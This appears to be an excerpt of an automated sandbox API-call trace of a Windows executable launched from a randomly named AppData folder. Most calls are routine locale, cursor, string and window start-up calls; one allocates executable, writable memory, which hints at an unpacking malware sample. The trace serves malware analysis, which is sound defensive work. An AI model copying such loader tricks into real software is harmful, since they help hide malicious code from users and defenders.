	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x46, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Mar") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x3a, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="March") returned 6
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x47, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Apr") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x3b, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="April") returned 6
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x48, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="May") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x3c, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="May") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x49, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Jun") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x3d, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="June") returned 5
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x4a, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Jul") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x3e, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="July") returned 5
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x4b, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Aug") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x3f, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="August") returned 7
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x4c, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Sep") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x40, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="September") returned 10
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x4d, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Oct") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x41, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="October") returned 8
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x4e, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Nov") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x42, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="November") returned 9
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x4f, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Dec") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x43, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="December") returned 9
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x37, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Sun") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x30, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Sunday") returned 7
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x31, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Mon") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x2a, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Monday") returned 7
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x32, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Tue") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x2b, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Tuesday") returned 8
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x33, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Wed") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x2c, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Wednesday") returned 10
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x34, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Thu") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x2d, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Thursday") returned 9
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x35, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Fri") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x2e, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Friday") returned 7
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Sat") returned 4
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x19fc3c, cchData=256 | out: lpLCData="Saturday") returned 9
	[0106.673] GetThreadLocale () returned 0x409
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x19fc98, cchData=256 | out: lpLCData="$") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x19fc98, cchData=256 | out: lpLCData="0") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x19fc98, cchData=256 | out: lpLCData="0") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x19fd90, cchData=2 | out: lpLCData=",") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x19fd90, cchData=2 | out: lpLCData=".") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x19fc98, cchData=256 | out: lpLCData="2") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x19fd90, cchData=2 | out: lpLCData="/") returned 2
	[0106.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x19fc98, cchData=256 | out: lpLCData="M/d/yyyy") returned 9
	[0106.674] GetThreadLocale () returned 0x409
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fc64, cchData=256 | out: lpLCData="1") returned 2
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x19fc98, cchData=256 | out: lpLCData="dddd, MMMM d, yyyy") returned 19
	[0106.674] GetThreadLocale () returned 0x409
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x19fc64, cchData=256 | out: lpLCData="1") returned 2
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x19fd90, cchData=2 | out: lpLCData=":") returned 2
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x19fc98, cchData=256 | out: lpLCData="AM") returned 3
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x19fc98, cchData=256 | out: lpLCData="PM") returned 3
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x19fc98, cchData=256 | out: lpLCData="0") returned 2
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x19fc98, cchData=256 | out: lpLCData="0") returned 2
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x19fc98, cchData=256 | out: lpLCData="0") returned 2
	[0106.674] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x19fd90, cchData=2 | out: lpLCData=",") returned 2
	[0106.674] GetModuleHandleA (lpModuleName="oleaut32.dll") returned 0x77ba0000
	[0106.674] GetProcAddressForCaller () returned 0x77bb7e70
	[0106.674] GetProcAddressForCaller () returned 0x77c00400
	[0106.674] GetProcAddressForCaller () returned 0x77c01670
	[0106.674] GetProcAddressForCaller () returned 0x77bd8460
	[0106.674] GetProcAddressForCaller () returned 0x77bd9960
	[0106.674] GetProcAddressForCaller () returned 0x77bd9090
	[0106.674] GetProcAddressForCaller () returned 0x77c00910
	[0106.674] GetProcAddressForCaller () returned 0x77c012b0
	[0106.674] GetProcAddressForCaller () returned 0x77c01510
	[0106.674] GetProcAddressForCaller () returned 0x77bcf9d0
	[0106.674] GetProcAddressForCaller () returned 0x77c01720
	[0106.674] GetProcAddressForCaller () returned 0x77c018c0
	[0106.674] GetProcAddressForCaller () returned 0x77bc4040
	[0106.674] GetProcAddressForCaller () returned 0x77bc4b50
	[0106.674] GetProcAddressForCaller () returned 0x77bcf4c0
	[0106.674] GetProcAddressForCaller () returned 0x77bd1740
	[0106.674] GetProcAddressForCaller () returned 0x77bc5a80
	[0106.675] GetProcAddressForCaller () returned 0x77c02e50
	[0106.675] GetProcAddressForCaller () returned 0x77bc20d0
	[0106.675] GetProcAddressForCaller () returned 0x77bc5240
	[0106.675] GetProcAddressForCaller () returned 0x77bc5420
	[0106.675] GetProcAddressForCaller () returned 0x77bc2080
	[0106.675] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName="") returned 0x1a4
	[0106.675] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x29c
	[0106.675] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a0
	[0106.675] NtUserGetDC () returned 0xa010691
	[0106.675] GetDeviceCaps (hdc=0xa010691, index=90) returned 96
	[0106.676] GdiReleaseDC () returned 0x1
	[0106.676] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0106.676] NtUserGetDC () returned 0xa010691
	[0106.676] GetDeviceCaps (hdc=0xa010691, index=104) returned 0
	[0106.676] GdiReleaseDC () returned 0x1
	[0106.676] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0106.676] CreatePalette (plpal=0x19f9f4) returned 0x18080770
	[0106.676] GetStockObject (i=7) returned 0x1b00017
	[0106.676] GetStockObject (i=5) returned 0x1900015
	[0106.676] GetStockObject (i=13) returned 0x18a0048
	[0106.676] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0106.677] GetModuleHandleA (lpModuleName="USER32.DLL") returned 0x74d70000
	[0106.677] LoadStringBaseExW () returned 0x4
	[0106.677] WCSToMBEx () returned 0x4
	[0106.677] LoadStringBaseExW () returned 0x5
	[0106.678] WCSToMBEx () returned 0x5
	[0106.678] LoadStringBaseExW () returned 0x6
	[0106.678] WCSToMBEx () returned 0x6
	[0106.678] LoadStringBaseExW () returned 0x3
	[0106.678] WCSToMBEx () returned 0x3
	[0106.678] LoadStringBaseExW () returned 0x3
	[0106.678] WCSToMBEx () returned 0x3
	[0106.679] LoadStringBaseExW () returned 0x4
	[0106.679] WCSToMBEx () returned 0x4
	[0106.679] LoadStringBaseExW () returned 0x5
	[0106.679] WCSToMBEx () returned 0x5
	[0106.679] LoadStringBaseExW () returned 0x2
	[0106.679] WCSToMBEx () returned 0x2
	[0106.679] LoadStringBaseExW () returned 0x4
	[0106.680] WCSToMBEx () returned 0x4
	[0106.680] LoadStringBaseExW () returned 0x4
	[0106.680] WCSToMBEx () returned 0x4
	[0106.680] LoadStringBaseExW () returned 0x3
	[0106.680] WCSToMBEx () returned 0x3
	[0106.680] LoadStringBaseExW () returned 0x4
	[0106.680] WCSToMBEx () returned 0x4
	[0106.681] LoadStringBaseExW () returned 0x4
	[0106.681] WCSToMBEx () returned 0x4
	[0106.681] LoadStringBaseExW () returned 0x5
	[0106.681] WCSToMBEx () returned 0x5
	[0106.681] LoadStringBaseExW () returned 0x5
	[0106.681] WCSToMBEx () returned 0x5
	[0106.681] LoadStringBaseExW () returned 0x3
	[0106.681] WCSToMBEx () returned 0x3
	[0106.682] LoadStringBaseExW () returned 0x3
	[0106.682] WCSToMBEx () returned 0x3
	[0106.682] LoadStringBaseExW () returned 0x4
	[0106.682] WCSToMBEx () returned 0x4
	[0106.682] RtlCaptureAnsiString () returned 0x1
	[0106.682] NtUserRegisterWindowMessage () returned 0xc16f
	[0106.683] RtlCaptureAnsiString () returned 0x1
	[0106.683] NtUserRegisterWindowMessage () returned 0xc16e
	[0106.683] GetCurrentThreadId () returned 0xd04
	[0106.683] InternalAddAtom () returned 0xc175
	[0106.683] RtlCaptureAnsiString () returned 0x1
	[0106.683] NtUserRegisterWindowMessage () returned 0xc16a
	[0106.683] RtlCaptureAnsiString () returned 0x1
	[0106.683] NtUserRegisterWindowMessage () returned 0xc0e6
	[0106.683] GetVersion () returned 0x23f00206
	[0106.683] InternalAddAtom () returned 0xc174
	[0106.683] GetCurrentThreadId () returned 0xd04
	[0106.683] InternalAddAtom () returned 0xc173
	[0106.683] RtlCaptureAnsiString () returned 0x1
	[0106.683] NtUserRegisterWindowMessage () returned 0xc167
	[0106.683] GetProcAddressForCaller () returned 0x74d86360
	[0106.684] GetProcAddressForCaller () returned 0x74d855d0
	[0106.684] GetSystemMetrics (nIndex=19) returned 1
	[0106.990] GetSystemMetrics (nIndex=75) returned 1
	[0106.990] __SEH_prolog4_GS () returned 0x19fd6c
	[0106.990] IsInsideUserApiHook () returned 0x1
	[0106.990] _BeginIfHookedUserApiHook () returned 0x1
	[0106.990] __SEH_epilog4_GS () returned 0x1
	[0106.990] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0106.990] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015
	[0106.991] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ff9) returned 0x1501cb
	[0106.991] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8b) returned 0x1001b
	[0106.991] LoadCursorW (hInstance=0x0, lpCursorName=0x7f8a) returned 0x10019
	[0106.992] LoadCursorW (hInstance=0x0, lpCursorName=0x7f88) returned 0x10017
	[0106.992] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffa) returned 0xf0093
	[0106.992] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffb) returned 0x18020d
	[0106.993] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffc) returned 0x16010f
	[0106.993] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffd) returned 0x180205
	[0106.993] LoadCursorW (hInstance=0x400000, lpCursorName=0x7fff) returned 0x70209
	[0106.994] LoadCursorW (hInstance=0x400000, lpCursorName=0x7ffe) returned 0x2901a5
	[0106.994] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0106.994] LoadCursorW (hInstance=0x0, lpCursorName=0x7f04) returned 0x1000b
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f84) returned 0x10011
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f82) returned 0x1000d
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f85) returned 0x10013
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f83) returned 0x1000f
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f86) returned 0x10015
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f03) returned 0x10009
	[0106.995] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0106.995] NtUserCallOneParam (Param=0x0, Routine=0x31) returned 0x4090409
	[0106.995] NtUserGetDC () returned 0xa010691
	[0106.995] GetDeviceCaps (hdc=0xa010691, index=90) returned 96
	[0106.995] GdiReleaseDC () returned 0x1
	[0106.996] NtUserCallOneParam (Param=0xa010691, Routine=0x41) returned 0x1
	[0106.996] GetProcAddressForCaller () returned 0x74da51d0
	[0106.996] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x465e68, dwData=0x72114dc) returned 1
	[0106.996] __SEH_prolog4_GS () returned 0x19fbcc
	[0106.996] IsInsideUserApiHook () returned 0x1
	[0106.996] _BeginIfHookedUserApiHook () returned 0x1
	[0106.996] __SEH_epilog4_GS () returned 0x1
	[0106.996] CreateFontIndirectA (lplf=0x19fd5b) returned 0x5f0a073e
	[0106.996] GetObjectA (in: h=0x5f0a073e, c=60, pv=0x19fb4c | out: pv=0x19fb4c) returned 60
	[0106.996] __SEH_prolog4_GS () returned 0x19fbcc
	[0106.996] IsInsideUserApiHook () returned 0x1
	[0106.996] _BeginIfHookedUserApiHook () returned 0x1
	[0107.000] __SEH_epilog4_GS () returned 0x1
	[0107.000] CreateFontIndirectA (lplf=0x19fce3) returned 0x560a072c
	[0107.000] GetObjectA (in: h=0x560a072c, c=60, pv=0x19fb4c | out: pv=0x19fb4c) returned 60
	[0107.000] CreateFontIndirectA (lplf=0x19fca7) returned 0x340a06be
	[0107.000] GetObjectA (in: h=0x340a06be, c=60, pv=0x19fb4c | out: pv=0x19fb4c) returned 60
	[0107.001] GetModuleFileNameA (in: hModule=0x400000, lpFilename=0x19fcbb, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0107.001] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x5920000
	[0107.002] GetClassInfoExA (in: hInstance=0x400000, lpszClass="TApplication", lpwcx=0x19fc18 | out: lpwcx=0x19fc18) returned 0
	[0107.002] _memset (in: _Dst=0x19fc24, _Val=0, _Size=0x2c | out: _Dst=0x19fc24) returned 0x19fc24
	[0107.002] RegisterClassExWOWA () returned 0xc166
	[0107.002] GetSystemMetrics (nIndex=0) returned 1440
	[0107.002] GetSystemMetrics (nIndex=1) returned 900
	[0107.002] CreateWindowInternal () returned 0x70210
	[0107.143] _SetWindowLong () returned 0x4071cc
	[0107.143] @ValidateHwnd@4 () returned 0x242cbe0
	[0107.143] SendMessageWorker () returned 0x0
	[0107.145] NtUserSetClassLong () returned 0x0
	[0107.146] NtUserGetSystemMenu () returned 0x1400c7
	[0107.154] NtUserDeleteMenu () returned 0x1
	[0107.154] NtUserDeleteMenu () returned 0x1
	[0107.154] NtUserDeleteMenu () returned 0x1
	[0107.154] NtUserGetKeyboardLayoutList () returned 0x1
	[0107.155] GetModuleHandleA (lpModuleName="USER32") returned 0x74d70000
	[0107.155] GetProcAddressForCaller () returned 0x74d90d60
	[0107.156] GetModuleHandleA (lpModuleName="comctl32.dll") returned 0x748f0000
	[0107.156] GetProcAddressForCaller () returned 0x7497c940
	[0107.156] GetProcAddressForCaller () returned 0x74979f60
	[0107.156] GetProcAddressForCaller () returned 0x74979700
	[0107.156] GetProcAddressForCaller () returned 0x749ae110
	[0107.156] GetProcAddressForCaller () returned 0x749ae050
	[0107.156] GetProcAddressForCaller () returned 0x749ae140
	[0107.156] GetProcAddressForCaller () returned 0x749ae0b0
	[0107.156] GetProcAddressForCaller () returned 0x749ae070
	[0107.156] GetProcAddressForCaller () returned 0x749ae090
	[0107.156] GetProcAddressForCaller () returned 0x749ae0f0
	[0107.156] GetProcAddressForCaller () returned 0x749ae0d0
	[0107.156] GetProcAddressForCaller () returned 0x749ae120
	[0107.157] GetModuleHandleA (lpModuleName="User32.dll") returned 0x74d70000
	[0107.157] GetProcAddressForCaller () returned 0x74da8fc0
	[0107.157] RtlCaptureAnsiString () returned 0x1
	[0107.157] NtUserRegisterWindowMessage () returned 0xc078
	[0107.157] LoadStringBaseExW () returned 0xb
	[0107.157] WCSToMBEx () returned 0xb
	[0107.158] LoadStringBaseExW () returned 0xc
	[0107.158] WCSToMBEx () returned 0xc
	[0107.158] LoadStringBaseExW () returned 0x11
	[0107.159] WCSToMBEx () returned 0x11
	[0107.159] LoadStringBaseExW () returned 0x8
	[0107.159] WCSToMBEx () returned 0x8
	[0107.160] LoadStringBaseExW () returned 0xe
	[0107.160] WCSToMBEx () returned 0xe
	[0107.160] LoadStringBaseExW () returned 0xa
	[0107.160] WCSToMBEx () returned 0xa
	[0107.160] LoadStringBaseExW () returned 0x4
	[0107.160] WCSToMBEx () returned 0x4
	[0107.161] LoadStringBaseExW () returned 0x9
	[0107.161] WCSToMBEx () returned 0x9
	[0107.161] LoadStringBaseExW () returned 0xf
	[0107.161] WCSToMBEx () returned 0xf
	[0107.161] LoadStringBaseExW () returned 0x9
	[0107.161] WCSToMBEx () returned 0x9
	[0107.161] LoadStringBaseExW () returned 0xf
	[0107.162] WCSToMBEx () returned 0xf
	[0107.162] LoadStringBaseExW () returned 0x15
	[0107.162] WCSToMBEx () returned 0x15
	[0107.162] LoadStringBaseExW () returned 0x10
	[0107.162] WCSToMBEx () returned 0x10
	[0107.162] LoadStringBaseExW () returned 0xf
	[0107.162] WCSToMBEx () returned 0xf
	[0107.163] LoadStringBaseExW () returned 0xe
	[0107.163] WCSToMBEx () returned 0xe
	[0107.163] LoadStringBaseExW () returned 0x14
	[0107.163] WCSToMBEx () returned 0x14
	[0107.163] LoadStringBaseExW () returned 0x9
	[0107.163] WCSToMBEx () returned 0x9
	[0107.163] LoadStringBaseExW () returned 0x7
	[0107.163] WCSToMBEx () returned 0x7
	[0107.164] LoadStringBaseExW () returned 0xc
	[0107.164] WCSToMBEx () returned 0xc
	[0107.164] LoadStringBaseExW () returned 0xb
	[0107.164] WCSToMBEx () returned 0xb
	[0107.164] LoadStringBaseExW () returned 0xd
	[0107.164] WCSToMBEx () returned 0xd
	[0107.164] LoadStringBaseExW () returned 0x10
	[0107.165] WCSToMBEx () returned 0x10
	[0107.165] LoadStringBaseExW () returned 0xb
	[0107.165] WCSToMBEx () returned 0xb
	[0107.165] LoadStringBaseExW () returned 0xa
	[0107.165] WCSToMBEx () returned 0xa
	[0107.165] LoadStringBaseExW () returned 0x15
	[0107.165] WCSToMBEx () returned 0x15
	[0107.166] LoadStringBaseExW () returned 0xe
	[0107.166] WCSToMBEx () returned 0xe
	[0107.166] LoadStringBaseExW () returned 0xd
	[0107.166] WCSToMBEx () returned 0xd
	[0107.166] LoadStringBaseExW () returned 0xb
	[0107.166] WCSToMBEx () returned 0xb
	[0107.166] LoadStringBaseExW () returned 0x5
	[0107.166] WCSToMBEx () returned 0x5
	[0107.167] LoadStringBaseExW () returned 0x8
	[0107.167] WCSToMBEx () returned 0x8
	[0107.167] LoadStringBaseExW () returned 0xb
	[0107.167] WCSToMBEx () returned 0xb
	[0107.167] LoadStringBaseExW () returned 0x5
	[0107.167] WCSToMBEx () returned 0x5
	[0107.167] LoadStringBaseExW () returned 0x4
	[0107.168] WCSToMBEx () returned 0x4
	[0107.168] LoadStringBaseExW () returned 0x7
	[0107.168] WCSToMBEx () returned 0x7
	[0107.168] LoadStringBaseExW () returned 0x4
	[0107.168] WCSToMBEx () returned 0x4
	[0107.168] LoadStringBaseExW () returned 0x6
	[0107.168] WCSToMBEx () returned 0x6
	[0107.169] LoadStringBaseExW () returned 0x4
	[0107.169] WCSToMBEx () returned 0x4
	[0107.169] LoadStringBaseExW () returned 0x3
	[0107.169] WCSToMBEx () returned 0x3
	[0107.169] LoadStringBaseExW () returned 0x6
	[0107.169] WCSToMBEx () returned 0x6
	[0107.169] LoadStringBaseExW () returned 0x4
	[0107.170] WCSToMBEx () returned 0x4
	[0107.170] LoadStringBaseExW () returned 0x4
	[0107.170] WCSToMBEx () returned 0x4
	[0107.170] LoadStringBaseExW () returned 0x6
	[0107.170] WCSToMBEx () returned 0x6
	[0107.170] LoadStringBaseExW () returned 0x4
	[0107.170] WCSToMBEx () returned 0x4
	[0107.171] LoadStringBaseExW () returned 0x5
	[0107.171] WCSToMBEx () returned 0x5
	[0107.171] LoadStringBaseExW () returned 0x5
	[0107.171] WCSToMBEx () returned 0x5
	[0107.171] LoadStringBaseExW () returned 0x6
	[0107.171] WCSToMBEx () returned 0x6
	[0107.171] LoadStringBaseExW () returned 0x5
	[0107.171] WCSToMBEx () returned 0x5
	[0107.172] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x77430000
	[0107.172] GetProcAddressForCaller () returned 0x7715baf0
	[0107.172] GetProcAddressForCaller () returned 0x770fcd50
	[0107.172] GetProcAddressForCaller () returned 0x7715d120
	[0107.172] GetProcAddressForCaller () returned 0x77161970
	[0107.172] GetProcAddressForCaller () returned 0x77166640
	[0107.172] GetProcAddressForCaller () returned 0x770d1f60
	[0107.172] LoadStringBaseExW () returned 0x4b
	[0107.172] WCSToMBEx () returned 0x4b
	[0107.173] LoadStringBaseExW () returned 0x19
	[0107.173] WCSToMBEx () returned 0x19
	[0107.173] LoadStringBaseExW () returned 0x33
	[0107.173] WCSToMBEx () returned 0x33
	[0107.173] LoadStringBaseExW () returned 0x23
	[0107.173] WCSToMBEx () returned 0x23
	[0107.173] LoadStringBaseExW () returned 0x1c
	[0107.173] WCSToMBEx () returned 0x1c
	[0107.174] LoadStringBaseExW () returned 0x1c
	[0107.174] WCSToMBEx () returned 0x1c
	[0107.174] LoadStringBaseExW () returned 0x20
	[0107.174] WCSToMBEx () returned 0x20
	[0107.174] LoadStringBaseExW () returned 0x1f
	[0107.175] WCSToMBEx () returned 0x1f
	[0107.175] LoadStringBaseExW () returned 0x18
	[0107.175] WCSToMBEx () returned 0x18
	[0107.175] LoadStringBaseExW () returned 0x31
	[0107.175] WCSToMBEx () returned 0x31
	[0107.175] LoadStringBaseExW () returned 0x31
	[0107.175] WCSToMBEx () returned 0x31
	[0107.176] LoadStringBaseExW () returned 0x1e
	[0107.176] WCSToMBEx () returned 0x1e
	[0107.176] LoadStringBaseExW () returned 0x1a
	[0107.176] WCSToMBEx () returned 0x1a
	[0107.176] LoadStringBaseExW () returned 0x1f
	[0107.176] WCSToMBEx () returned 0x1f
	[0107.176] LoadStringBaseExW () returned 0x1b
	[0107.177] WCSToMBEx () returned 0x1b
	[0107.177] LoadStringBaseExW () returned 0x12
	[0107.177] WCSToMBEx () returned 0x12
	[0107.177] LoadStringBaseExW () returned 0x14
	[0107.177] WCSToMBEx () returned 0x14
	[0107.177] LoadStringBaseExW () returned 0x17
	[0107.177] WCSToMBEx () returned 0x17
	[0107.178] LoadStringBaseExW () returned 0x16
	[0107.178] WCSToMBEx () returned 0x16
	[0107.178] LoadStringBaseExW () returned 0x17
	[0107.178] WCSToMBEx () returned 0x17
	[0107.178] LoadStringBaseExW () returned 0xb
	[0107.178] WCSToMBEx () returned 0xb
	[0107.178] LoadStringBaseExW () returned 0x12
	[0107.178] WCSToMBEx () returned 0x12
	[0107.179] LoadStringBaseExW () returned 0x27
	[0107.179] WCSToMBEx () returned 0x27
	[0107.179] LoadStringBaseExW () returned 0x58
	[0107.179] WCSToMBEx () returned 0x58
	[0107.179] LoadStringBaseExW () returned 0x1e
	[0107.179] WCSToMBEx () returned 0x1e
	[0107.179] LoadStringBaseExW () returned 0x25
	[0107.180] WCSToMBEx () returned 0x25
	[0107.180] LoadStringBaseExW () returned 0x25
	[0107.180] WCSToMBEx () returned 0x25
	[0107.180] LoadStringBaseExW () returned 0x13
	[0107.180] WCSToMBEx () returned 0x13
	[0107.180] LoadStringBaseExW () returned 0x2f
	[0107.180] WCSToMBEx () returned 0x2f
	[0107.181] LoadStringBaseExW () returned 0x33
	[0107.181] WCSToMBEx () returned 0x33
	[0107.181] LoadStringBaseExW () returned 0x14
	[0107.181] WCSToMBEx () returned 0x14
	[0107.181] LoadStringBaseExW () returned 0x1a
	[0107.181] WCSToMBEx () returned 0x1a
	[0107.181] LoadStringBaseExW () returned 0x13
	[0107.182] WCSToMBEx () returned 0x13
	[0107.182] LoadStringBaseExW () returned 0x12
	[0107.182] WCSToMBEx () returned 0x12
	[0107.182] LoadStringBaseExW () returned 0x14
	[0107.182] WCSToMBEx () returned 0x14
	[0107.182] LoadStringBaseExW () returned 0x10
	[0107.182] WCSToMBEx () returned 0x10
	[0107.183] LoadStringBaseExW () returned 0x14
	[0107.183] WCSToMBEx () returned 0x14
	[0107.183] LoadStringBaseExW () returned 0x1c
	[0107.183] WCSToMBEx () returned 0x1c
	[0107.183] LoadStringBaseExW () returned 0xd
	[0107.183] WCSToMBEx () returned 0xd
	[0107.183] LoadStringBaseExW () returned 0x25
	[0107.183] WCSToMBEx () returned 0x25
	[0107.184] LoadStringBaseExW () returned 0x13
	[0107.184] WCSToMBEx () returned 0x13
	[0107.184] LoadStringBaseExW () returned 0x13
	[0107.184] WCSToMBEx () returned 0x13
	[0107.184] LoadStringBaseExW () returned 0x18
	[0107.184] WCSToMBEx () returned 0x18
	[0107.184] LoadStringBaseExW () returned 0x36
	[0107.185] WCSToMBEx () returned 0x36
	[0107.185] LoadStringBaseExW () returned 0x16
	[0107.185] WCSToMBEx () returned 0x16
	[0107.185] LoadStringBaseExW () returned 0x13
	[0107.185] WCSToMBEx () returned 0x13
	[0107.185] LoadStringBaseExW () returned 0xb
	[0107.185] WCSToMBEx () returned 0xb
	[0107.186] LoadStringBaseExW () returned 0x23
	[0107.186] WCSToMBEx () returned 0x23
	[0107.186] LoadStringBaseExW () returned 0x19
	[0107.186] WCSToMBEx () returned 0x19
	[0107.186] LoadStringBaseExW () returned 0xd
	[0107.186] WCSToMBEx () returned 0xd
	[0107.186] LoadStringBaseExW () returned 0x3c
	[0107.186] WCSToMBEx () returned 0x3c
	[0107.187] LoadStringBaseExW () returned 0x21
	[0107.187] WCSToMBEx () returned 0x21
	[0107.187] LoadStringBaseExW () returned 0x1c
	[0107.187] WCSToMBEx () returned 0x1c
	[0107.187] LoadStringBaseExW () returned 0x1f
	[0107.187] WCSToMBEx () returned 0x1f
